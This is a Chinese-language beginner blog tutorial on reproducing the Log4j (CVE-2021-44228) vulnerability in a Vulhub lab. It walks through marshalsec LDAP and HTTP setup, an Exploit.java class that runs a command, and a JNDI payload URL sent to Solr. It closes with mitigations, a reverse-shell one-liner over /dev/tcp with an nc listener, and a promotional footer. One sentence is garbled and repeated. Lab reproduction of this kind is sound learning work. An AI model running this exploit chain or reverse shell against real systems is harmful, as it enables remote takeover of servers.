从零开始学漏洞复现:以 Log4j 为例,计算机人能看懂的 “原理 + 实操” 教程(附环境搭建)

很多计算机学生和转行从业者觉得 “漏洞复现门槛高,需要高深代码能力”,其实像 Log4j(CVE-2021-44228)这种经典漏洞,只要理解 “核心原理 + 会用基础工具”,零基础也能完成复现。更重要的是,漏洞复现是网络安全入门的 “核心技能”—— 能帮你理解 “漏洞如何产生、如何利用”,比单纯学工具命令更能提升实战能力。
这篇教程完全从 “新手视角” 出发,用通俗语言讲清 Log4j 漏洞原理,用 “虚拟机 + 开源工具” 搭建复现环境(成本 0 元),每步操作都附 “命令 + 截图提示”,甚至标注 “容易出错的地方”,确保你能跟着做、做得出,做完还能搞懂 “背后的逻辑”。
一、先搞懂:Log4j 漏洞到底是什么?(3 分钟看懂核心原理)
在复现前,先花 3 分钟搞懂 “为什么 Log4j 会有漏洞”,避免 “只会点鼠标,却不知道原理”。
1. 先明确 2 个基础概念
-
Log4j 是什么:它是 Apache 的一个 “日志记录工具”,很多 Java 程序(比如电商网站、APP 后端)都会用它记录操作日志(比如 “用户登录了”“用户下单了”),相当于程序的 “记事本”。
-
JNDI 是什么:简单理解为 “Java 的一个‘资源查找工具’”—— 程序可以通过 JNDI 去 “远程服务器” 上找需要的资源(比如数据库配置、文件),不用把资源存在本地。
2. 漏洞原理:一句话讲清
Log4j 在记录日志时,会 “解析日志里的特殊语法”(比如 x x x )。如果攻击者在日志内容里插入“ J N D I 调用语句”(比如 {xxx})。如果攻击者在日志内容里插入 “JNDI 调用语句”(比如 xxx)。如果攻击者在日志内容里插入“JNDI调用语句”(比如{jndi:ldap://攻击服务器/恶意代码}),Log4j 就会 “傻傻地” 去调用远程服务器上的恶意代码,最终让攻击者控制目标程序。
举个通俗例子:
你用 Log4j 记录 “用户输入的搜索关键词”,正常用户输入 “手机”,日志记录 “用户搜索:手机”;但攻击者输入${jndi:ldap://attacker.com/badcode},Log4j 会解析这个语句,去attacker.com上找 “badcode” 并执行 —— 相当于程序主动 “去敌人家里拿炸弹”,这就是漏洞的核心。
3. 关键结论(复现前必须记住)
-
漏洞影响:所有使用 Log4j 2.x 版本(2.0-beta9 到 2.14.1)的 Java 程序,几乎覆盖 80% 的 Java 后端系统;
-
复现核心:需要 “目标程序(有 Log4j 漏洞)+ 攻击服务器(提供恶意代码)”,两者配合才能触发漏洞。
二、环境搭建:3 步搞定,用虚拟机 + 开源工具(成本 0 元)
不用买云服务器,用 “VMware 虚拟机 + 3 个开源工具” 就能搭好环境,电脑 8GB 内存就能跑(4GB 内存也能试,关闭其他软件即可)。
准备工具清单(全免费,附下载地址)
| 工具名称 | 用途 | 下载地址 |
|---|---|---|
| VMware Workstation Player | 装虚拟机(跑目标程序和攻击工具) | https://www.vmware.com/cn/products/workstation-player.html(选免费版) |
| Ubuntu 20.04 | 虚拟机系统(推荐 64 位,兼容性好) | https://ubuntu.com/download/desktop(下载 ISO 镜像) |
| Vulhub | 包含 Log4j 漏洞的目标程序(一键部署) | https://github.com/vulhub/vulhub(开源项目,直接在 Ubuntu 里拉取) |
| JDK 1.8 | 运行 Java 程序(目标程序需要) | https://www.oracle.com/java/technologies/downloads/#java8(选 Linux 版本) |
| marshalsec | 生成恶意 LDAP 服务(攻击工具) | https://github.com/mbechler/marshalsec(开源项目,Java 编写) |
Step 1:装 Ubuntu 虚拟机(基础环境)
-
新建虚拟机:打开 VMware→“创建新虚拟机”→选 “典型”→“安装程序光盘映像文件(ISO)”→选择下载的 Ubuntu 20.04 ISO 文件→下一步;
-
设置参数:输入虚拟机名称(比如 “Log4j-Test”)→选择安装路径(空闲空间≥20GB)→磁盘大小设为 20GB→完成;
-
启动安装:开启虚拟机,选 “Install Ubuntu”→语言选 “中文”→键盘布局默认→“正常安装”→“清除整个磁盘并安装 Ubuntu”(虚拟机里的磁盘,不会影响电脑本地数据)→等待安装完成(约 10 分钟,期间设置用户名和密码,比如用户名 “log4jtest”,密码 “123456”)。
避坑点:安装时别选 “最小安装”,否则会缺少很多基础命令(比如git),后续还要补装,浪费时间。
Step 2:部署 “有 Log4j 漏洞的目标程序”(用 Vulhub)
Vulhub 是一个 “漏洞环境集合”,里面有现成的 Log4j 漏洞程序,不用自己写代码,一键就能启动。
- 安装基础依赖(打开 Ubuntu 的终端,复制粘贴以下命令,按回车执行,每步执行完再打下一个):
# 更新软件源
sudo apt update
# 安装docker(Vulhub需要docker运行)
sudo apt install -y docker.io
# 安装docker-compose(管理docker容器)
sudo apt install -y docker-compose
# 启动docker服务
sudo systemctl start docker
# 设置docker开机启动(避免重启虚拟机后要重新启动)
sudo systemctl enable docker
- 拉取 Vulhub 并启动 Log4j 环境:
# 安装git(拉取Vulhub代码)
sudo apt install -y git
# 拉取Vulhub代码到本地
git clone https://github.com/vulhub/vulhub.git
# 进入Log4j漏洞环境目录
cd vulhub/log4j/CVE-2021-44228
# 启动漏洞环境(第一次启动会下载镜像,约5-10分钟,耐心等)
sudo docker-compose up -d
- 验证环境是否启动成功:
执行sudo docker ps,如果看到 “STATUS” 列显示 “Up”,说明目标程序已启动,端口是 “8983”(后续访问用)。
Step 3:搭建 “攻击服务器”(生成恶意代码)
攻击服务器需要做 2 件事:① 提供恶意代码;② 用 LDAP 服务引导目标程序加载恶意代码,这里用 “marshalsec” 工具实现。
- 安装 JDK 1.8(marshalsec 需要 Java 环境):
-
先把下载的 JDK 压缩包(比如jdk-8u381-linux-x64.tar.gz)复制到 Ubuntu 虚拟机里(比如桌面);
-
执行以下命令解压并配置环境变量:
# 解压JDK到/usr/local目录
sudo tar -zxvf ~/Desktop/jdk-8u381-linux-x64.tar.gz -C /usr/local/
# 配置环境变量(编辑profile文件)
sudo nano /etc/profile
# 在文件末尾添加以下内容(按Ctrl+O保存,Ctrl+X退出)
export JAVA_HOME=/usr/local/jdk1.8.0_381
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
# 使环境变量生效
source /etc/profile
# 验证JDK是否安装成功(显示java version "1.8.0_381"说明成功)
java -version
- 编译运行 marshalsec:
# 拉取marshalsec代码
git clone https://github.com/mbechler/marshalsec.git
# 进入marshalsec目录
cd marshalsec
# 用maven编译(先安装maven)
sudo apt install -y maven
mvn clean package -DskipTests
编译完成后,会在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar(这是我们要用的攻击工具)。
三、漏洞复现:5 步实操,从 “触发漏洞” 到 “获取控制”
复现核心逻辑:让 “目标程序(有 Log4j 漏洞)” 通过 JNDI 调用 “攻击服务器的恶意代码”,最终执行我们指定的命令(比如弹出计算器,证明漏洞触发成功)。
Step 1:编写恶意代码(让目标程序执行我们的命令)
我们要让目标程序执行 “弹出计算器” 的命令(Windows 系统用calc.exe,Ubuntu 用gnome-calculator),先写一个简单的 Java 恶意类:
-
在 Ubuntu 桌面新建Exploit.java文件(右键→“新建文档”→“空白文档”,命名为Exploit.java);
-
复制以下代码到文件中(注意:cmd变量里的命令,根据目标程序系统改 —— 这里目标程序在 Ubuntu 里,所以用gnome-calculator;如果是 Windows 目标,改成calc.exe):
import java.io.IOException;
public class Exploit {
static {
try {
// 要执行的命令:弹出Ubuntu计算器
String cmd = "gnome-calculator";
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 编译这个 Java 文件(打开终端,进入桌面目录,执行命令):
cd ~/Desktop
javac Exploit.java
执行后会生成Exploit.class文件(这是编译后的恶意代码,后续要让目标程序加载)。
Step 2:启动 HTTP 服务,让目标程序能下载恶意代码
目标程序需要从我们的攻击服务器下载Exploit.class,所以用 Python 搭一个简单的 HTTP 服务(端口用 8000):
在终端执行(确保当前目录是桌面,即Exploit.class所在目录):
python3 -m http.server 8000
执行后,终端会显示 “Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)”,说明 HTTP 服务已启动 —— 目标程序访问http://攻击服务器IP:8000/Exploit.class就能下载恶意代码。
注意:攻击服务器 IP 就是 Ubuntu 虚拟机的 IP,执行ifconfig(或ip addr)查看,比如192.168.159.130(后续要用到)。
Step 3:启动 LDAP 服务,引导目标程序加载恶意代码
用 marshalsec 启动 LDAP 服务,告诉目标程序 “去 HTTP 服务地址下载恶意代码”:
- 打开一个新的终端(别关之前的 HTTP 服务终端),进入 marshalsec 的target目录:
cd ~/marshalsec/target
- 执行以下命令启动 LDAP 服务(把攻击服务器IP换成你 Ubuntu 的 IP,比如192.168.159.130):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击服务器IP:8000/#Exploit" 1389
执行后,终端显示 “Listening on 0.0.0.0:1389”,说明 LDAP 服务已启动。
-
1389是 LDAP 服务的默认端口;
-
http://攻击服务器IP:8000/#Exploit:告诉目标程序 “去这个 HTTP 地址下载 Exploit.class,然后执行”。
Step 4:触发漏洞(让目标程序执行恶意代码)
现在要让 “有 Log4j 漏洞的目标程序” 解析我们构造的 “恶意日志内容”,触发漏洞:
-
目标程序的地址是http://虚拟机IP:8983/solr/admin/cores?action=(虚拟机 IP 就是 Ubuntu 的 IP,比如192.168.159.130);
-
在这个地址后面拼接 “恶意 JNDI 语句”,完整 URL 如下(把攻击服务器IP换成你的 Ubuntu IP):
http://192.168.159.130:8983/solr/admin/cores?action=${jndi:ldap://攻击服务器IP:1389/Exploit}
- 打开 Ubuntu 的浏览器,输入这个完整 URL,按回车访问。
Step 5:验证漏洞是否触发成功
如果看到 Ubuntu 桌面弹出 “计算器” 窗口,说明漏洞复现成功!—— 这证明目标程序已经执行了我们在Exploit.java里写的gnome-calculator命令。
避坑点:如果没弹出计算器,先检查 3 个地方:① HTTP 服务是否在运行(终端是否显示 “GET /Exploit.class”);② LDAP 服务是否有请求日志(终端是否显示 “Handling reference request for Exploit”);③ Exploit.java里的命令是否正确(Ubuntu 用gnome-calculator,别写错)。
四、复现后必做:理解 “漏洞利用链”+ 防御方法
复现不是终点,重点是理解 “整个流程如何串联”,以及 “如何防御这类漏洞”—— 这才是企业招聘时看重的能力。
1. 漏洞利用链拆解(一句话总结)
目标程序(Log4j 漏洞)→ 解析 URL 中的${jndi:ldap://…}→ 访问攻击服务器的 LDAP 服务→ LDAP 服务返回 “HTTP 下载地址”→ 目标程序从 HTTP 服务下载Exploit.class→ 执行恶意代码(弹出计算器)。
2. Log4j 漏洞的 3 种核心防御方法
-
方法 1:升级 Log4j 版本:把 Log4j 升级到 2.15.0 及以上版本(官方已修复漏洞),这是最根本的方法;
-
方法 2:禁用 JNDI 功能:在 Log4j 的配置文件中添加log4j2.formatMsgNoLookups=true,禁止解析${xxx}这类特殊语法;
-
方法 3:过滤恶意请求:在服务器(如 Nginx、Apache)上配置规则,过滤包含jndi:ldap://、jndi:rmi://的请求,阻止恶意语句进入程序。
3. 新手进阶:尝试执行更复杂的命令
弹出计算器只是 “证明漏洞存在”,实际渗透中攻击者会执行更危险的命令(比如获取 shell)。你可以尝试修改Exploit.java里的命令,比如:
-
执行whoami(查看目标程序的运行用户):把cmd改成"whoami > /tmp/whoami.txt",执行后查看/tmp/whoami.txt文件;
-
反弹 shell(获取目标程序的控制权):用bash -i >& /dev/tcp/攻击服务器IP/4444 0>&1(需要先在攻击服务器用nc -lvp 4444监听端口)。
五、总结:漏洞复现的核心是 “拆解流程 + 动手试错”
对计算机学生和转行从业者来说,Log4j 漏洞复现是 “入门漏洞分析的最佳案例”—— 它涵盖了 “JNDI 调用”“远程代码执行”“服务搭建” 等多个核心知识点,而且环境容易搭建,步骤可复现。
刚开始复现可能会遇到 “命令报错”“服务起不来” 等问题,但不用慌 —— 每解决一个问题,就是一次能力提升。比如我第一次复现时,因为把gnome-calculator写成calc,卡了半小时才发现命令错
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~



被折叠的 条评论
为什么被折叠?



